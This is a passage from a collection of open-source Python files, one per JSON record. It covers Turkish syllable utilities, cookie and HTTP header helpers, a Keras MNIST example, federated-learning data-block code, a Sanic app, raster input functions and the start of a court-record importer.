syllable_stop_index = next_vowel_index\n else:\n syllable_stop_index = previous_letter(text, next_vowel_index)\n\n syllables.append(text[last_syllable_index:syllable_stop_index])\n last_syllable_index = syllable_stop_index\n\n current_vowel_index = next_vowel_index\n\n return syllables\n\n\ndef get_syllable_type(syllable: str) -> SyllableType:\n letters = lowercase(syllable, remove_circumflex=False)\n cv_map = list(map(get_letter_type, letters))\n if cv_map in [\n [LetterType.LONG_VOWEL, LetterType.CONSONANT],\n [LetterType.CONSONANT, LetterType.LONG_VOWEL, LetterType.CONSONANT],\n [LetterType.SHORT_VOWEL, LetterType.CONSONANT, LetterType.CONSONANT],\n [LetterType.CONSONANT, LetterType.SHORT_VOWEL, LetterType.CONSONANT, LetterType.CONSONANT],\n ]:\n return SyllableType.MEDLI\n elif get_letter_type(letters[-1]) == LetterType.SHORT_VOWEL:\n return SyllableType.OPEN\n else:\n return SyllableType.CLOSED\n\n\ndef get_letter_type(letter: str) -> LetterType:\n ch = lowercase(letter, remove_circumflex=False)\n if len(ch) != 1 or (ch not in ALPHABET and ch not in LONG_VOWELS):\n raise ValueError(f\"Argument of value \\\"{letter}\\\" is not a valid letter.\")\n if ch in VOWELS:\n return LetterType.SHORT_VOWEL\n elif ch in LONG_VOWELS:\n return LetterType.LONG_VOWEL\n elif ch in CONSONANTS:\n return LetterType.CONSONANT\n elif ch in ALPHABET:\n raise RuntimeError(\n f\"Sanity check fail: \\\"{letter}\\\" is not a long or short vowel or consonant, but in the alphabet.\"\n )\n\n\ndef lowercase(word: str, alphabet: str = ALPHABET, remove_unknown_characters=True, remove_circumflex=True) -> str:\n \"\"\"Removes all whitespace and punctuation from word and lowercase it.\n\n >>> lowercase(\"ge\u00e7ti Bor'un pazar\u0131 (s\u00fcr e\u015fe\u011fini Ni\u011fde'ye)\")\n \"ge\u00e7tiborunpazar\u0131s\u00fcre\u015fe\u011finini\u011fdeye\"\n\n :return: A lowercase string without any whitespace or punctuation.\n \"\"\"\n\n a_circumflex_replacement = \"a\" if remove_circumflex else \"\u00e2\"\n i_circumflex_replacement = \"i\" if remove_circumflex else \"\u00ee\"\n u_circumflex_replacement = \"u\" if remove_circumflex else \"\u00fb\"\n\n reconstructed_word = \"\"\n for letter in word:\n lower_letter = letter.lower()\n if letter == \"I\":\n reconstructed_word = f\"{reconstructed_word}\u0131\"\n elif letter == \"\u0130\":\n reconstructed_word = f\"{reconstructed_word}i\"\n elif letter in [\"\u00e2\", \"\u00c2\"]:\n reconstructed_word = f\"{reconstructed_word}{a_circumflex_replacement}\"\n elif letter in [\"\u00ee\", \"\u00ce\"]:\n reconstructed_word = f\"{reconstructed_word}{i_circumflex_replacement}\"\n elif letter in [\"\u00fb\", \"\u00db\"]:\n reconstructed_word = f\"{reconstructed_word}{u_circumflex_replacement}\"\n elif lower_letter in alphabet or not remove_unknown_characters:\n reconstructed_word = f\"{reconstructed_word}{lower_letter}\"\n return reconstructed_word\n\n\ndef dictionary_order(word: str, alphabet=ALPHABET) -> list:\n \"\"\"\n >>> dictionary_order(\"algarina\") < dictionary_order(\"zamans\u0131zl\u0131k\")\n True\n >>> dictionary_order(\"yumu\u015fakl\u0131k\") < dictionary_order(\"be\u015fik\")\n False\n \"\"\"\n return list(map(alphabet.index, lowercase(word)))\n\n\ndef counter(word: str, targets=VOWELS) -> int:\n \"\"\"\n >>> counter(word=\"aaaaaBBBc\", targets=\"c\")\n 1\n >>> counter(word=\"aaaaaBBBc\", targets=\"b\")\n 3\n >>> counter(word=\"aaaaaBBBc\", targets=\"cb\")\n 4\n\n The word is sanitized using `lowercase()`.\n\n >>> counter(word=\"aaaaaBBBc\", targets=\"B\")\n 0\n\n :return: The total number of occurrences of each element in targets.\n \"\"\"\n safe_word = lowercase(word)\n return sum(safe_word.count(x) for x in targets)\n\n\ndef streaks(word: str, targets=CONSONANTS) -> List[int]:\n \"\"\"\n Accumulate the number of characters in word which are also in targets.\n When a character in word isn't in targets, break the streak and append it to the return list.\n (Even if the current streak is 0.)\n\n >>> streaks(\"anapara\")\n [0, 1, 1, 1, 0] # /a N /a P /a R /a /\n >>> streaks(\"zorlanmak\")\n [1, 2, 2, 1] # Z /o RL /a NM /a K /\n >>> streaks(\"\u00e7\u00f6z\u00fcmlemek\")\n [1, 1, 2, 1, 1] # \u00c7 /\u00f6 Z /\u00fc ML /e M /e K /\n >>> streaks(\"tasdikletmek\")\n [1, 2, 2, 2, 1] # T /a SD /i KL /e TM /e K /\n \"\"\"\n streaks_found = []\n accumulator = 0\n for letter in lowercase(word):\n if letter in targets:\n accumulator += 1\n else:\n streaks_found.append(accumulator)\n accumulator = 0\n else:\n streaks_found.append(accumulator)\n if len(streaks_found) == 0:\n return []\n return streaks_found\n\n\ndef max_streak(word: str, targets=CONSONANTS) -> int:\n \"\"\":return: The maximum combo of consecutive characters that are also in targets, in word.\"\"\"\n return max(streaks(word=word, targets=targets))\n\n\ndef annotate(items, fn, sort_fn=None, reverse=True):\n \"\"\"Return a dict with elements of items as keys and their values under fn as their values,\n sorted by their values under sort_fn. If sort_fn isn't specified, use fn by default.\n\n\n >>> annotate([4, 3, 2, 1], fn=lambda x: x**2, sort_fn=lambda x: (-2)**x, reverse=False)\n {3: 9, 1: 1, 2: 4, 4: 16} # Sorted by odd numbers decreasing, then even numbers increasing.\n \"\"\"\n if sort_fn is None:\n sort_fn = fn\n return {k: fn(k) for k in sorted(items, key=sort_fn, reverse=reverse)}\n\n\ndef distinct(seq) -> list:\n \"\"\"Returns the sequence with each element appearing once without creating a set (and thus preserving order).\"\"\"\n seen = set()\n seen_add = seen.add\n return [x for x in seq if not (x in seen or seen_add(x))]\n", "source": "EmreOzcan/tdkapi-py", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\nimport http.cookiejar\n\nimport requests.utils\n\nfrom mylib.easy import *\nfrom mylib.easy import fstk\n\n\nclass Constants:\n netscape_http_cookie_file_header_string = '# Netscape HTTP Cookie File'\n\n\nclass UserAgentExamples:\n \"\"\"https://www.networkinghowtos.com/howto/common-user-agent-list/\"\"\"\n GOOGLE_CHROME_WINDOWS = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'\n GOOGLE_CHROME_ANDROID = 'Mozilla/5.0 (Linux; Android 11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.82 Mobile Safari/537.36'\n MOZILLA_FIREFOX_WINDOWS = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0'\n MOZILLA_FIREFOX_ANDROID = 'Mozilla/5.0 (Android 11; Mobile) Gecko/88.0 Firefox/88.0'\n MICROSOFT_EDGE = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393'\n APPLE_IPAD = 'Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4'\n APPLE_IPHONE = 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1'\n GOOGLE_BOT = 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'\n BING_BOT = 'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)'\n CURL = 'curl/7.35.0'\n WGET = 'Wget'\n LYNX = 'Lynx'\n\n\nclass CURLCookieJar(http.cookiejar.MozillaCookieJar):\n \"\"\"fix issue: MozillaCookieJar ignores '#HttpOnly_' lines\"\"\"\n filename_types = (str, io.StringIO)\n\n def __init__(self, filename: T.Union[filename_types] = None, delayload=False, policy=None):\n \"\"\"\n Cookies are NOT loaded from the named file until either the .load() or\n .revert() method is called.\n\n \"\"\"\n http.cookiejar.CookieJar.__init__(self, policy)\n if filename is not None:\n if not isinstance(filename, self.filename_types):\n raise TypeError('filename', self.filename_types)\n self.filename = filename\n self.delayload = bool(delayload)\n\n def load(self, filename=None, ignore_discard=False, ignore_expires=False):\n http_only_prefix = '#HttpOnly_'\n\n if filename is None:\n if self.filename is not None:\n filename = self.filename\n else:\n # noinspection PyUnresolvedReferences\n raise ValueError(http.cookiejar.MISSING_FILENAME_TEXT)\n\n if isinstance(filename, io.StringIO):\n lines = [str_remove_prefix(line, http_only_prefix) for line in filename.readlines()]\n else:\n with open(filename) as fd:\n lines = [str_remove_prefix(line, http_only_prefix) for line in fd.readlines()]\n # print(''.join(lines)) # DEBUG\n\n with io.StringIO() as fd:\n fd.writelines(lines)\n fd.seek(0)\n # noinspection PyUnresolvedReferences\n self._really_load(fd, filename, ignore_discard, ignore_expires)\n\n\ndef ensure_json_list_cookies(json_data: T.JSONType):\n json_data_var_name = 'json_data'\n if isinstance(json_data, list):\n cookies = json_data\n elif isinstance(json_data, dict):\n if 'cookies' in json_data:\n cookies = json_data['cookies']\n if not isinstance(cookies, list):\n raise TypeError(f\"{json_data_var_name}['cookies']\", list)\n else:\n raise ValueError(f\"{json_data_var_name}['cookies'] not exist\")\n else:\n raise TypeError(json_data_var_name, T.JSONType)\n return cookies\n\n\ndef json_cookies_to_dict(json_data: T.JSONType = None, json_filepath: str = None, ) -> dict:\n if json_data is not None:\n pass\n elif json_filepath:\n json_data = fstk.read_json_file(json_filepath)\n else:\n raise ValueError('no json source given')\n try:\n cookie_list = ensure_json_list_cookies(json_data)\n return {cookie['name']: cookie['value'] for cookie in cookie_list if isinstance(cookie, dict)}\n except ValueError:\n if isinstance(json_data, dict):\n return json_data\n\n\ndef netscape_cookies_to_dict(cookies_text: str = None, cookies_filepath: str = None, *,\n ignore_discard=True, ignore_expires=True) -> dict:\n if cookies_text:\n cookies_filepath = io.StringIO(cookies_text)\n if cookies_filepath:\n cj = CURLCookieJar(cookies_filepath)\n cj.load(ignore_discard=ignore_discard, ignore_expires=ignore_expires)\n return requests.utils.dict_from_cookiejar(cj)\n\n\ndef make_cookie_str(cookies: dict):\n return '; '.join([f'{k}={v}' for k, v in cookies.items()])\n\n\ndef parse_cookie_str(s: str):\n s = str_remove_prefix(s, 'Cookie: ')\n return dict([(a, b) for a, b in [i.split('=', maxsplit=1) for i in s.split('; ')]])\n\n\ndef get_cookies_dict_from(x):\n if isinstance(x, str):\n if path_is_file(x):\n if x.endswith('.json'):\n return json_cookies_to_dict(json_filepath=x)\n else:\n return netscape_cookies_to_dict(cookies_filepath=x)\n else:\n return parse_cookie_str(x)\n elif isinstance(x, (list, dict)):\n return json_cookies_to_dict(x)\n else:\n raise TypeError('x', (str, list, dict))\n\n\nclass HTTPHeadersBuilder:\n def __init__(self, headers: dict = None):\n self.headers = headers or {}\n\n @staticmethod\n @functools.lru_cache()\n def _name_to_field(x: str):\n return x.replace('_', '-').title()\n\n def _set_sth(self, name: str, value):\n value_func = {'Cookie': make_cookie_str}\n field = self._name_to_field(name)\n if field in value_func:\n value = value_func[field](value)\n self.headers[field] = value\n return self\n\n def _get_sth(self, name: str, *args):\n return self.headers.get(self._name_to_field(name))\n\n def _del_sth(self, name: str, *args):\n try:\n del self.headers[self._name_to_field(name)]\n except KeyError:\n pass\n return self\n\n def __getattr__(self, name: str):\n def _set_or_get(value=None):\n \"\"\"if value given, set item to value; if value is None, get item; if value is ... or False, del item.\"\"\"\n if value is None:\n func = self._get_sth\n elif value in (..., False):\n func = self._del_sth\n else:\n func = self._set_sth\n return func(name, value)\n\n _set_or_get.__name__ = name\n self.__dict__[name] = _set_or_get\n return _set_or_get\n\n def __repr__(self):\n return f'{self.__class__.__name__}({self.headers})'\n", "source": "fakegit/mo-han-toolbox", "license": "MIT"}
+{"text": "\nfrom datetime import datetime\n\n\n# these only deal with utc but are good enough for working with the\n# github api\n\n\ndef dt_from_js_isoformat(iso: str) -> datetime:\n return datetime.fromisoformat(iso.replace(\"Z\", \"+00:00\"))\n\n\ndef dt_to_js_isoformat(dt: datetime) -> str:\n return dt.isoformat().replace(\"+00:00\", \"Z\")\n", "source": "Nordix/pytooling", "license": "Apache-2.0"}
+{"text": "#! /usr/bin/env python\n# Last Change: Mon Aug 20 02:00 PM 2007 J\n\ntry:\n from functools import partial\nexcept ImportError:\n from myfunctools import partial\n", "source": "lesserwhirls/scipy-cwt", "license": "BSD-3-Clause"}
+{"text": "import tensorflow as tf\nsess = tf.Session()\n\nfrom keras import backend as K\nK.set_session(sess)\n\n# \ubd84\ub958 DNN \ubaa8\ub378 \uad6c\ud604 ########################\nfrom keras.models import Sequential, Model\nfrom keras.layers import Dense, Dropout\nfrom keras.metrics import categorical_accuracy, categorical_crossentropy\n\nclass DNN():\n def __init__(self, Nin, Nh_l, Nout):\n self.X_ph = tf.placeholder(tf.float32, shape=(None, Nin))\n self.L_ph = tf.placeholder(tf.float32, shape=(None, Nout))\n \n # Modeling\n H = Dense(Nh_l[0], activation='relu')(self.X_ph)\n H = Dropout(0.5)(H)\n H = Dense(Nh_l[1], activation='relu')(H) \n H = Dropout(0.25)(H)\n self.Y_tf = Dense(Nout, activation='softmax')(H)\n \n # Operation\n self.Loss_tf = tf.reduce_mean(\n categorical_crossentropy(self.L_ph, self.Y_tf))\n self.Train_tf = tf.train.AdamOptimizer().minimize(self.Loss_tf)\n self.Acc_tf = categorical_accuracy(self.L_ph, self.Y_tf)\n self.Init_tf = tf.global_variables_initializer()\n\n# \ub370\uc774\ud130 \uc900\ube44 ##############################\nimport numpy as np\nfrom keras import datasets # mnist\nfrom keras.utils import np_utils # to_categorical\n\ndef Data_func():\n (X_train, y_train), (X_test, y_test) = datasets.mnist.load_data()\n\n Y_train = np_utils.to_categorical(y_train)\n Y_test = np_utils.to_categorical(y_test)\n\n L, W, H = X_train.shape\n X_train = X_train.reshape(-1, W * H)\n X_test = X_test.reshape(-1, W * H)\n\n X_train = X_train / 255.0\n X_test = X_test / 255.0\n\n return (X_train, Y_train), (X_test, Y_test)\n\n\n# \ud559\uc2b5 \ud6a8\uacfc \ubd84\uc11d ##############################\nfrom keraspp.skeras import plot_loss, plot_acc\nimport matplotlib.pyplot as plt\n\ndef run(model, data, sess, epochs, batch_size=100):\n # epochs = 2\n # batch_size = 100\n (X_train, Y_train), (X_test, Y_test) = data\n sess.run(model.Init_tf)\n with sess.as_default():\n N_tr = X_train.shape[0]\n for epoch in range(epochs):\n for b in range(N_tr // batch_size):\n X_tr_b = X_train[batch_size * (b-1):batch_size * b]\n Y_tr_b = Y_train[batch_size * (b-1):batch_size * b]\n\n model.Train_tf.run(feed_dict={model.X_ph: X_tr_b, model.L_ph: Y_tr_b, K.learning_phase(): 1})\n loss = sess.run(model.Loss_tf, feed_dict={model.X_ph: X_test, model.L_ph: Y_test, K.learning_phase(): 0})\n acc = model.Acc_tf.eval(feed_dict={model.X_ph: X_test, model.L_ph: Y_test, K.learning_phase(): 0})\n print(\"Epoch {0}: loss = {1:.3f}, acc = {2:.3f}\".format(epoch, loss, np.mean(acc)))\n\n# \ubd84\ub958 DNN \ud559\uc2b5 \ubc0f \ud14c\uc2a4\ud305 ####################\ndef main():\n Nin = 784\n Nh_l = [100, 50]\n number_of_class = 10\n Nout = number_of_class\n\n data = Data_func()\n model = DNN(Nin, Nh_l, Nout)\n\n run(model, data, sess, 10, 100)\n\n\nif __name__ == '__main__': \n main()", "source": "soyoung9306/-3-keras", "license": "MIT"}
+{"text": "from .array import BabelArray\n\nfrom . import array, metadata, utils\n", "source": "liamchalcroft/nitorch", "license": "MIT"}
+{"text": "# Copyright 2020 The 9nFL Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# coding: utf-8\n\nimport logging\nimport os\nimport uuid\nimport tensorflow.compat.v1 as tf\nfrom google.protobuf import text_format\nfrom tensorflow.compat.v1 import gfile\nfrom DataJoin.common import data_join_service_pb2 as data_join_pb\nfrom DataJoin.utils.process_manager import tf_record_iterator_factory, data_block_meta_file_name_wrap, \\\n block_id_wrap, data_block_file_name_wrap, partition_id_wrap\nfrom DataJoin.utils.base import get_host_ip\nimport requests\nfrom DataJoin.config import HEADERS, HTTP_SERVICE_PORT, removed_items_nums_from_buffer\n\nhost_ip = get_host_ip()\nmode = os.environ.get(\"MODE\", None)\n\n\ndef save_data_block_info(meta_path, block_path):\n action = getattr(requests, 'POST'.lower(), None)\n data = {'dfs_data_block_meta': meta_path, 'dfs_data_block': block_path}\n url = \"http://{0}:{1}/v1/parse/data/block/meta\".format(str(host_ip), HTTP_SERVICE_PORT)\n response = action(url=url, json=data, headers=HEADERS)\n res = response.json()\n logging.info('request result is :%s' % res)\n\n\nclass DataBlockMaker(object):\n tmp_file_path_counter = 0\n\n def __init__(self, data_block_dir_name, data_source_name, partition_id,\n data_block_index, example_num_threshold=None):\n self._data_source_name = data_source_name\n self._data_block_manager = None\n self._saved_example_num = 0\n self._partition_id = partition_id\n self._data_block_meta = data_join_pb.DataBlockMeta()\n self._data_block_meta.partition_id = partition_id\n self._data_block_meta.data_block_index = data_block_index\n self._data_block_meta.follower_restart_index = 0\n self._example_num_threshold = example_num_threshold\n self._data_block_dir_name = data_block_dir_name\n self._tmp_file_path = self._make_tmp_file_path()\n self._tf_record_writer = tf.io.TFRecordWriter(self._tmp_file_path)\n\n def build_data_block_manager(self, data_block_manager):\n self._data_block_manager = data_block_manager\n\n def save(self, data_record, example_id, event_time):\n self._tf_record_writer.write(data_record)\n self._data_block_meta.example_ids.append(example_id)\n if self._saved_example_num == 0:\n self._data_block_meta.start_time = event_time\n self._data_block_meta.end_time = event_time\n else:\n if event_time < self._data_block_meta.start_time:\n self._data_block_meta.start_time = event_time\n if event_time > self._data_block_meta.end_time:\n self._data_block_meta.end_time = event_time\n\n self._saved_example_num += 1\n\n def init_maker_by_input_meta(self, data_block_meta):\n self._partition_id = data_block_meta.partition_id\n self._example_num_threshold = None\n self._data_block_meta = data_block_meta\n\n def set_restart_data_join_index(self, restart_data_join_index):\n self._data_block_meta.follower_restart_index = restart_data_join_index\n\n def is_data_block_exceed_threshold(self):\n if (self._example_num_threshold is not None and\n len(self._data_block_meta.example_ids) >=\n self._example_num_threshold):\n return True\n return False\n\n def save_data_record(self, record):\n self._tf_record_writer.write(record)\n self._saved_example_num += 1\n\n def _make_tmp_file_path(self):\n tmp_file_name = str(uuid.uuid1()) + '-{}.tmp'.format(self.tmp_file_path_counter)\n self.tmp_file_path_counter += 1\n return os.path.join(self._obtain_data_block_dir(), tmp_file_name)\n\n def _make_data_block_meta(self):\n meta_file_path_tmp = self._make_tmp_file_path()\n with tf.io.TFRecordWriter(meta_file_path_tmp) as meta_writer:\n meta_writer.write(text_format.MessageToString(self._data_block_meta).encode())\n if self._data_block_manager is not None:\n meta_file_path = self._data_block_manager.update_data_block_meta(\n meta_file_path_tmp, self._data_block_meta\n )\n else:\n meta_file_name = data_block_meta_file_name_wrap(self._data_source_name,\n self._partition_id,\n self._data_block_meta.data_block_index)\n meta_file_path = os.path.join(self._obtain_data_block_dir(), meta_file_name)\n gfile.Rename(meta_file_path_tmp, meta_file_path)\n return meta_file_path\n\n def data_block_finalizer(self):\n assert self._saved_example_num == len(self._data_block_meta.example_ids)\n self._tf_record_writer.close()\n if len(self._data_block_meta.example_ids) > 0:\n self._data_block_meta.block_id = block_id_wrap(self._data_source_name,\n self._data_block_meta)\n data_block_path = os.path.join(\n self._obtain_data_block_dir(),\n data_block_file_name_wrap(\n self._data_source_name,\n self._data_block_meta\n )\n )\n gfile.Rename(self._tmp_file_path, data_block_path, True)\n meta_path = self._make_data_block_meta()\n if mode == \"distribute\":\n save_data_block_info(meta_path, data_block_path)\n return self._data_block_meta\n gfile.Remove(self._tmp_file_path)\n return None\n\n def __del__(self):\n if self._tf_record_writer is not None:\n del self._tf_record_writer\n\n def _obtain_data_block_dir(self):\n return os.path.join(\n self._data_block_dir_name, partition_id_wrap(self._partition_id)\n )\n", "source": "huangwei19/9nfl", "license": "Apache-2.0"}
+{"text": "from sanic import Sanic\nfrom aoiklivereload import LiveReloader\nimport asyncio\nimport uvloop\nimport logging\n\nimport config\n\nfrom blueprints import Blueprints\nfrom database import init_db\n\n\nasyncio.set_event_loop_policy(uvloop.EventLoopPolicy())\n\nloop = asyncio.get_event_loop()\n\napp = Sanic(__name__)\n\napp.blueprint(Blueprints.auth, url_prefix='/api/auth')\n\nloop.create_task(init_db())\n\n# TODO: Put somewhere for better code style\nif config.DEBUG:\n reloader = LiveReloader()\n reloader.start_watcher_thread()\n\n @app.middleware('response')\n async def request_log(request, response):\n logging.info(\n f'{request.method} - {request.url} - {response.status}')\n\n\nif __name__ == '__main__':\n app.go_fast(port=config.PORT, workers=config.WORKERS,\n debug=config.DEBUG, loop=loop)\n", "source": "easydaniel/loan", "license": "MIT"}
+{"text": "# Copyright 2020 The 9nFL Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# coding: utf-8\n\nfrom DataJoin.utils.base import current_timestamp\nfrom DataJoin.db.db_models import DB, DataBlockMeta, DataSourceMeta, DataSource\nimport logging\n\n\nclass DataManagers(object):\n def __init__(self, block_id: str = None, partition_id: str = None, file_version: int = None,\n data_source_name: str = None,\n dfs_data_block_dir: str = None,\n dfs_raw_data_dir: str = None,\n data_source_role: int = None,\n data_source_state: int = None):\n self.block_id = block_id\n self.partition_id = partition_id\n self.file_version = file_version\n self.data_source_name = data_source_name\n self.dfs_data_block_dir = dfs_data_block_dir\n self.dfs_raw_data_dir = dfs_raw_data_dir\n self.data_source_role = data_source_role\n self.data_source_state = data_source_state\n\n def save_data_block_meta_info(self, data_block_meta_info, create=False):\n with DB.connection_context():\n logging.info(\n 'save {} {} data_block_meta: {}'.format(self.block_id, self.partition_id, data_block_meta_info))\n data_block_metas = DataBlockMeta.select().where(DataBlockMeta.block_id == self.block_id)\n is_insert = True\n if data_block_metas:\n data_block_meta = data_block_metas[0]\n is_insert = False\n elif create:\n data_block_meta = DataBlockMeta()\n data_block_meta.create_time = current_timestamp()\n data_block_meta.update_time = current_timestamp()\n else:\n return None\n data_block_meta.block_id = self.block_id\n data_block_meta.partition_id = self.partition_id\n data_block_meta.file_version = self.file_version\n for k, v in data_block_meta_info.items():\n try:\n if k in ['block_id', 'partition_id', 'file_version'] or v == getattr(DataBlockMeta, k).default:\n continue\n setattr(data_block_meta, k, v)\n except:\n pass\n if is_insert:\n data_block_meta.save(force_insert=True)\n else:\n data_block_meta.save()\n\n def save_data_source_meta_info(self, data_source_meta_info, create=False):\n with DB.connection_context():\n logging.info(\n 'save {} data_source_meta: {}'.format(self.data_source_name, data_source_meta_info))\n data_source_metas = DataSourceMeta.select().where(DataSourceMeta.block_id == self.block_id)\n is_insert = True\n if data_source_metas:\n data_source_meta = data_source_metas[0]\n is_insert = False\n elif create:\n data_source_meta = DataSourceMeta()\n data_source_meta.create_time = current_timestamp()\n data_source_meta.update_time = current_timestamp()\n else:\n return None\n for k, v in data_source_meta_info.items():\n try:\n if k in ['data_source_name'] or v == getattr(DataSourceMeta, k).default:\n continue\n setattr(data_source_meta, k, v)\n except:\n pass\n if is_insert:\n data_source_meta.save(force_insert=True)\n else:\n data_source_meta.save()\n\n def save_data_source_info(self, data_source_info, create=False):\n with DB.connection_context():\n logging.info(\n 'save {} data_source: {}'.format(self.data_source_name, data_source_info))\n data_sources = DataSource.select().where(DataSource.block_id == self.block_id)\n is_insert = True\n if data_sources:\n data_source = data_sources[0]\n is_insert = False\n elif create:\n data_source = DataSource()\n data_source.create_time = current_timestamp()\n data_source.update_time = current_timestamp()\n else:\n return None\n data_source.data_source_state = self.data_source_state\n data_source.dfs_data_block_dir = self.dfs_data_block_dir\n data_source.dfs_raw_data_dir = self.dfs_raw_data_dir\n for k, v in data_source_info.items():\n try:\n if k in ['data_source_name'] or v == getattr(DataSource, k).default:\n continue\n setattr(data_source, k, v)\n except:\n pass\n if is_insert:\n data_source.save(force_insert=True)\n else:\n data_source.save()\n", "source": "huangwei19/9nfl", "license": "Apache-2.0"}
+{"text": "#!/usr/bin/env python\n# coding: utf8\n#\n# Copyright (c) 2020 Centre National d'Etudes Spatiales (CNES).\n#\n# This file is part of CARS\n# (see https://github.com/CNES/cars).\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\"\"\"\nInputs module:\ncontains some CARS global shared general purpose inputs functions\n\"\"\"\n\n# Standard imports\nimport logging\nimport warnings\nfrom typing import Tuple\n\n# Third party imports\nimport fiona\nimport rasterio as rio\nimport xarray as xr\nfrom json_checker import Checker\nfrom shapely.geometry import shape\n\n# Filter rasterio warning when image is not georeferenced\nwarnings.filterwarnings(\"ignore\", category=rio.errors.NotGeoreferencedWarning)\n\n\ndef read_vector(path_to_file):\n \"\"\"\n Read vector file and returns the corresponding polygon\n\n :raise Exception when the input file is unreadable\n\n :param path_to_file: path to the file to open\n :type path_to_file: str\n :return: a shapely polygon\n :rtype: tuple (polygon, epsg)\n \"\"\"\n try:\n polys = []\n with fiona.open(path_to_file) as vec_file:\n _, epsg = vec_file.crs[\"init\"].split(\":\")\n for feat in vec_file:\n polys.append(shape(feat[\"geometry\"]))\n except BaseException as base_except:\n raise Exception(\n \"Impossible to read {} file\".format(path_to_file)\n ) from base_except\n\n if len(polys) == 1:\n return polys[0], int(epsg)\n\n if len(polys) > 1:\n logging.info(\n \"Multi features files are not supported, \"\n \"the first feature of {} will be used\".format(path_to_file)\n )\n return polys[0], int(epsg)\n\n logging.info(\"No feature is present in the {} file\".format(path_to_file))\n return None\n\n\ndef rasterio_get_nb_bands(raster_file: str) -> int:\n \"\"\"\n Get the number of bands in an image file\n\n :param f: Image file\n :returns: The number of bands\n \"\"\"\n with rio.open(raster_file, \"r\") as descriptor:\n return descriptor.count\n\n\ndef rasterio_get_size(raster_file: str) -> Tuple[int, int]:\n \"\"\"\n Get the size of an image (file)\n\n :param raster_file: Image file\n :returns: The size (width, height)\n \"\"\"\n with rio.open(raster_file, \"r\") as descriptor:\n return (descriptor.width, descriptor.height)\n\n\ndef rasterio_can_open(raster_file: str) -> bool:\n \"\"\"\n Test if a file can be open by rasterio\n\n :param raster_file: File to test\n :returns: True if rasterio can open file and False otherwise\n \"\"\"\n try:\n rio.open(raster_file)\n return True\n except Exception as read_error:\n logging.warning(\n \"Impossible to read file {}: {}\".format(raster_file, read_error)\n )\n return False\n\n\ndef ncdf_can_open(file_path):\n \"\"\"\n Checks if the given file can be opened by NetCDF\n :param file_path: file path.\n :type file_path: str\n :return: True if it can be opened, False otherwise.\n :rtype: bool\n \"\"\"\n try:\n with xr.open_dataset(file_path) as _:\n return True\n except Exception as read_error:\n logging.warning(\n \"Exception caught while trying to read file {}: {}\".format(\n file_path, read_error\n )\n )\n return False\n\n\ndef check_json(conf, schema):\n \"\"\"\n Check a dictionary with respect to a schema\n\n :param conf: The dictionary to check\n :type conf: dict\n :param schema: The schema to use\n :type schema: dict\n\n :returns: conf if check succeeds (else raises CheckerError)\n :rtype: dict\n \"\"\"\n schema_validator = Checker(schema)\n checked_conf = schema_validator.validate(conf)\n return checked_conf\n", "source": "CNES/cars", "license": "Apache-2.0"}
+{"text": "import logging\n\nfrom django.conf import settings\n\nfrom dear_petition.petition.constants import (\n ATTACHMENT,\n DISMISSED,\n NOT_GUILTY,\n UNDERAGED_CONVICTIONS,\n)\nfrom dear_petition.petition import models as pm\nfrom dear_petition.petition.etl.extract import parse_ciprs_document\nfrom dear_petition.petition.types import (\n petition_offense_records,\n identify_distinct_petitions,\n)\n\n\n__all__ = (\"import_ciprs_records\",)\n\nlogger = logging.getLogger(__name__)\n\n\ndef import_ciprs_records(files, user, parser_mode):\n \"\"\"Import uploaded CIPRS records into models.\"\"\"\n logger.info(\"Importing CIPRS records\")\n batch = pm.Batch.objects.create(user=user)\n logger.info(f\"Created batch {batch.id}\")\n for idx, file_ in enumerate(files):\n logger.info(f\"Importing file {file_}\")\n if settings.CIPRS_SAVE_PDF:\n batch_file = batch.files.create(file=file_)\n # Need to re-assign file_ since storages backend\n # closes file handle, so parse_ciprs_document below\n # fails\n file_ = batch_file.file\n for record_data in parse_ciprs_document(file_, parser_mode):\n record = pm.CIPRSRecord(batch=batch, data=record_data)\n record.refresh_record_from_data()\n if record.label and idx == 0:\n batch.label = record.label\n batch.save()\n create_batch_petitions(batch)\n return batch\n\n\ndef create_batch_petitions(batch):\n # Dismissed\n create_petitions_from_records(batch, DISMISSED)\n # Not guilty\n create_petitions_from_records(batch, NOT_GUILTY)\n # Convictions\n create_petitions_from_records(batch, 